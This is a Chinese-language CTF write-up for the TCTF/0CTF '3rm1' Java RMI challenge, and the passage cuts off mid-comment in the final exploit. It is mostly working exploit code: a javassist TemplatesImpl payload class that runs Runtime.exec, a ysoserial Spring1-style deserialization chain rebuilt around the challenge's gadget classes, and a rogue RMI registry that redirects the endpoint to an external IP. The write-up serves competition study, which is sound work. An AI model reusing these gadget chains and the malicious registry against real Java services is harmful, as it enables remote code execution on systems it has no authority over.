3rm1 tctf/0ctf wp

3rm1 tctf/0ctf wp

代码审计

有客户端(flag)和服务端

jdk8u201 (!=jdk8u121,无JEP290限制;jdk>191, 若jndi注入需要考虑高版本)

客户端

非spring

javawebmvc,核心代码

            try {
                LocateRegistry.getRegistry("rmiserver", 1099).lookup(t.getRequestURI().getQuery()).sayHello("yxxx");
            } catch (Exception e) {
                response = "0ops, something wrong!";
            }

存在lookup方法且可控

值得注意的是前面已经getRegistry("rmiserver", 1099)了,也就是服务ip和port看似不可控(指向了题目服务端)

其他类:(一看就是用来绕rmi高版本的)

MyInvocationHandler(起到InvocationHandler的作用)
Gadget (提供了readObject和一些反射修改方法)
ClientUserImpl(实现了UserInter,是个demo类)
其余类不是很重要

服务端

绑定到UserImpl上,是个demo

思路

审计得到2点

1.lookup可控但getRegistry("rmiserver", 1099),限制了ip:port

2.假如第1点可以绕过,那么需要考虑高版本jndi的情形,使用题目给的demo构造反序列化

由于题目给了很多demo类,所以认为第1点大概率是可以绕的,并且有jndi互相攻击的前科

背景

jndi互相攻击:【技术干货】RMI-攻击方式总结 - 知乎 (zhihu.com)

提到过Register攻击Server&Client(JRMP 服务端攻击 JRMP 客户端)

学了一下https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

知道了绕过高版本jdk限制除本地服务外的其它连接来注册对象(CVE-2019-2684),

打算工具一把梭https://github.com/qtc-de/remote-method-guesser

验证了一下urldns可以打通,说明存在反序列化,找可以rce的链子

之前学cc1的时候,得知jdk8u65之后删除了AnnotationInvocationHandler.readObject方法

题目有MyInvocationHandler方法

分析

类的特点

Gadget有readObject->一眼入口

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
        inputStream.defaultReadObject();
        // 这个看不懂,大概不是正常的readObject
        try {
            findMethod(this.user.getGirlFriend().getClass(), this.mName).invoke(this.user.getGirlFriend(), new Object[0]);
            //调用这个method
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    // 反射获取methodName的方法
    private Method findMethod(Class clazz, String methodName) throws NoSuchMethodException {
        Method method = clazz.getDeclaredMethod(methodName, new Class[0]);
        method.setAccessible(true);
        return method;
    }

readObject功能:调用this.user.getGirlFriend().getClass()的一个方法

this.user.getGirlFriend().getClass()是demo类ClientUserImpl,我们可以new完后反射修改里面的属性和方法

看到Friend getGirlFriend() throws RemoteException;

得知getGirlFriend一定是返回一个Friend类,

看到public interface Friend extends Remote

得知getGirlFriend一定是返回一个Remote类(接口)

调用继承remote的类的任意方法-》rce

卡了

后面给了hint(ysoserial’s spring1) ,

学一下

猜对了,用的getTemplateImpl(因为jdk自带)

package org.apache.commons.collections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();

    }
}

弹计算器了

因为题目这个是调方法

image-20240305164740214

尝试action.invoke一下也成了

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        //templates.newTransformer();

        Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Method action = persons.getMethod("newTransformer");
        action.invoke(templates);

    }

谈计算器(相当于测了一下反射)

spring1

image-20240306131952914

对应一下前面类的特点,替换掉原来的链

//org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider 
com.ctf.threermi.Gadget
//org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler
com.ctf.threermi.MyInvocationHandler
//sun.reflect.annotation.AnnotationInvocationHandler 这个自带,不用改
sun.reflect.annotation.AnnotationInvocationHandler

贴个调好的spring1exp

package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.rmi.CORBA.Util;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class SpringExp {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        // templateImpl
        TemplatesImpl tmpl = new TemplatesImpl();
        setValue(tmpl,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(tmpl, "_bytecodes", bytecodes);
        setValue(tmpl,"_tfactory", new TransformerFactoryImpl());

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        map.put("getObject", tmpl);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
        ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
        // 当触发factory.getObject()方法时,返回值就被修改为tmpl

        // test :  factory.toString();

        //ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
        //并且会调用 method.invoke(返回值,args)
        //此时返回值被我们使用动态代理改为了 TemplatesImpl
        //接下来需要 method 是 newTransformer(),就可以触发调用链了
        Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
        ofdConstructor.setAccessible(true);
        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
        //hashMap.get(1);
        // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
        // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

        // typeTemplateProxy.hashCode();

        // 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("getType", typeTemplateProxy);

        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, newInvocationHandler);

        // 初始化 MethodInvokeTypeProvider
        Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Field field   = clazz2.getDeclaredField("methodName");
        field.setAccessible(true);
        field.set(objects, "newTransformer");

        //serialize(objects);
        unserialize("ser.bin");

    }
}

AnnotationInvocationHandler

image-20240306133938614

看到选中部分的数据类型和getObject方法

修改一下

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        //map.put("getObject", templates);
        map.put("getObject", templates);
        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        // 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl
        FactoryInter factory = (FactoryInter) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler);

image-20240306134205426

MyInvocationHandler

替换原本的ObjectFactoryDelegatingInvocationHandler

image-20240306135104556

UserInter是因为

image-20240306134823798

代码修改如下

        //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
        //并且会调用 method.invoke(返回值,args)
        //此时返回值被我们使用动态代理改为了 TemplatesImpl
        //接下来需要 method 是 newTransformer(),就可以触发调用链了
        Class<?>       clazz          = Class.forName("com.ctf.threermi.MyInvocationHandler");
        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
        ofdConstructor.setAccessible(true);
        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
        //hashMap.get(1);
        // MyInvocationHandler 本身就是个 InvocationHandler
        // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
        Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Friend.class, Templates.class}, ofdHandler);

        // 接下来代理  UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("getGirlFriend", typeTemplateProxy);

        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, newInvocationHandler);

Gadget

因为

image-20240306135718410

所以

image-20240306135818786

        // 初始化 Gadget
        Class<?>       clazz2 = Class.forName("com.ctf.threermi.Gadget");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);

xs,跑完后报错,发现构造函数没改

image-20240306140038790

一看MyInvocationHandler没有构造函数

image-20240306170606280

所以FactotyInter要自己改

        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
        setValue(ofdHandler,"object",factory);

Gadget也没有构造函数,需要自己setValue

image-20240306171454148

        //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Object objects = cons.newInstance();

        setValue(objects,"mName","newTransformer");
        setValue(objects,"user",typeProviderProxy);

最终exp-jdk8u65

package exp;

import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Demo {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 使用 AnnotationInvocationHandler 动态代理
        Class<?>  c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<>();
        //map.put("getObject", templates);
        map.put("getObject", templates);
        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        // 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl
        FactoryInter factory = (FactoryInter) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler);

        // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl

        // test :  factory.toString();

        //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
        //并且会调用 method.invoke(返回值,args)
        //此时返回值被我们使用动态代理改为了 TemplatesImpl
        //接下来需要 method 是 newTransformer(),就可以触发调用链了
        Class<?>       clazz          = Class.forName("com.ctf.threermi.MyInvocationHandler");
        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
        ofdConstructor.setAccessible(true);
        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
        //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
        setValue(ofdHandler,"object",factory);

        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
        //hashMap.get(1);
        // MyInvocationHandler 本身就是个 InvocationHandler
        // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
        Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Friend.class, Templates.class}, ofdHandler);

        // 接下来代理  UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("getGirlFriend", typeTemplateProxy);

        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, newInvocationHandler);

        // 初始化 Gadget
        Class<?>       clazz2 = Class.forName("com.ctf.threermi.Gadget");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Object objects = cons.newInstance();

        setValue(objects,"mName","newTransformer");
        setValue(objects,"user",typeProviderProxy);

//        serialize(objects);
        unserialize("ser1.bin");

    }

}

image-20240306174020165

RemoteObjectInvocationHandler

对照wp发现不一样,原来是高版本AnnotationInvocationHandler已经被移除了,我们需要重新找到一个类似于AnnotationInvocationHandler的代理类

image-20240307202505587

用codeql找一下这个特征

import java

from Class c 
where c.getASupertype().hasName("InvocationHandler")
    and
    c.getASupertype*() instanceof TypeSerializable
select c

结果找到RemoteObjectInvocationHandler

它的invoke

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    ......
    return invokeRemoteMethod(proxy, method, args);
}
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception {
    ......
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException("proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
    ......
}

和annotionInvocationHandler在有些类似,但是感觉和ObjectFactoryDelegatingInvocationHandler更像一些,我们先用反射造一下

image-20240307210311995

看到构造方法

image-20240307202606727

ref 是一个远程引用(高版本的reference工厂类),里面保存着服务端的对象信息。就像我们调用 Registry 的 bind 方法时,绑定的也是远程引用。

意思是说,我们另外开启一个服务端,让客户端从我们的服务端调用我们自定义的远程方法 getObject 和 getGirlFriend

构造出 RemoteObjectInvocationHandler 中的 ref 参数研究了好久,

这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类,但是又有另外一个攻击思路了。

  • 首先我们自己实现两个接口然后绑定到注册中心,这样ref中保存的就是我们的自己实现接口后的类。
  • 然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法,这样我们在自己实现的类里就能控制返回对象了。

例如这样,只需要让题目客户端调用到我们自己实现的类即能控制返回对象。

image-20240307212914979

由于没法直接换,所以MyInvocationHandler这里所需要的FactoryInter就要自己造,我写了个FactoryImpl 实现了 FactoryInter 接口

image-20240307214758183

package exp;

import com.ctf.threermi.FactoryInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import static exp.Demo.setValue;

// FactoryImpl
public class FactoryImpl implements FactoryInter {
    @Override
    public Object getObject() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_name", "aaa");

        byte[] code = Demo.getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
}

然后我们需要起一个服务端,就模仿我们之前rmiServer的代码

image-20240307215227611

炮制一下

image-20240307221209912

public class RmiServerThai {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException {
        Registry registry = LocateRegistry.createRegistry(7777);
        FactoryImpl factoryImpl = new FactoryImpl();
        registry.bind("factoryImpl", factoryImpl);
        while (true){

            System.out.println("start evil server");
            sleep(1000);
        }

    }
}

TestTemplateImpl验证一下

public class TestTemplateImpl {
        public static void main(String[] args) throws Throwable {
            FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
            TemplatesImpl templates = (TemplatesImpl) factoryInterlook.getObject();
            templates.newTransformer();  // 测试远程类是否是有效的

        }
}

报错不能反序列化

image-20240307221711832

//        registry.bind("factoryImpl", factoryImpl);
        registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));

改一下这里,因为绑定对象必须要是一个ref

image-20240307221820808

UserImpl

实现 UserImpl#getGirlFriend 返回 friendTemplatesProxy

package exp;

import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.MyInvocationHandler;
import com.ctf.threermi.UserInter;

import javax.xml.transform.Templates;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.RemoteException;

import static exp.Demo.setValue;

public class userImpl implements UserInter {
    @Override
    public String sayHello(String str) throws RemoteException {
        return null;
    }

    @Override
    public Friend getGirlFriend() throws Exception {
        FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
        MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        setValue(myInvocationHandler, "object", factoryInterlook);
        Friend friendTemplatesProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class, Friend.class}, myInvocationHandler);
        return friendTemplatesProxy;
    }
}

gadget#getObject

    public static Object getObject(String command) throws Throwable {
        UserInter userInter = (UserInter) Naming.lookup("rmi://127.0.0.1:7777/userImpl");
        Gadget gadget = new Gadget();
        setValue(gadget,"mName","newTransformer");
        setValue(gadget,"user",userInter);
        return gadget;
    }

注册中心攻击客户端,反序列化这个 Gadget

最终exp

package exp;

import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

import static sun.reflect.misc.FieldUtil.getField;

public class RealDemo {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static void main(String[] args) throws Exception {

        //RmiServer的代码
        Registry registry = LocateRegistry.createRegistry(7777);
        FactoryImpl factoryImpl = new FactoryImpl();
        // bind可以绑多个
        registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));

        userImpl user = new userImpl();
        registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777));

        //制造ref
        //        ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
        InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
        Field field =  ref.getClass().getSuperclass().getDeclaredField("ref");
        field.setAccessible(true);
        UnicastRef unicastRef =  (UnicastRef)field.get(ref);
        LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref");
        TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep");
        setValue(tcpEndpoint,"host","8.129.42.140");

        //RemoteObjectInvocationHandler
        Class<?>  c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref);

//由于失去了AnnouceInvocationHandler,这些都不用了
//        // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl
//
//        // test :  factory.toString();
//
//        //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
//        //并且会调用 method.invoke(返回值,args)
//        //此时返回值被我们使用动态代理改为了 TemplatesImpl
//        //接下来需要 method 是 newTransformer(),就可以触发调用链了
//        Class<?>       clazz          = Class.forName("com.ctf.threermi.MyInvocationHandler");
//        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
//        ofdConstructor.setAccessible(true);
//        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
//        //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
//        setValue(ofdHandler,"object",factory);
//
//        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//        //hashMap.get(1);
//        // MyInvocationHandler 本身就是个 InvocationHandler
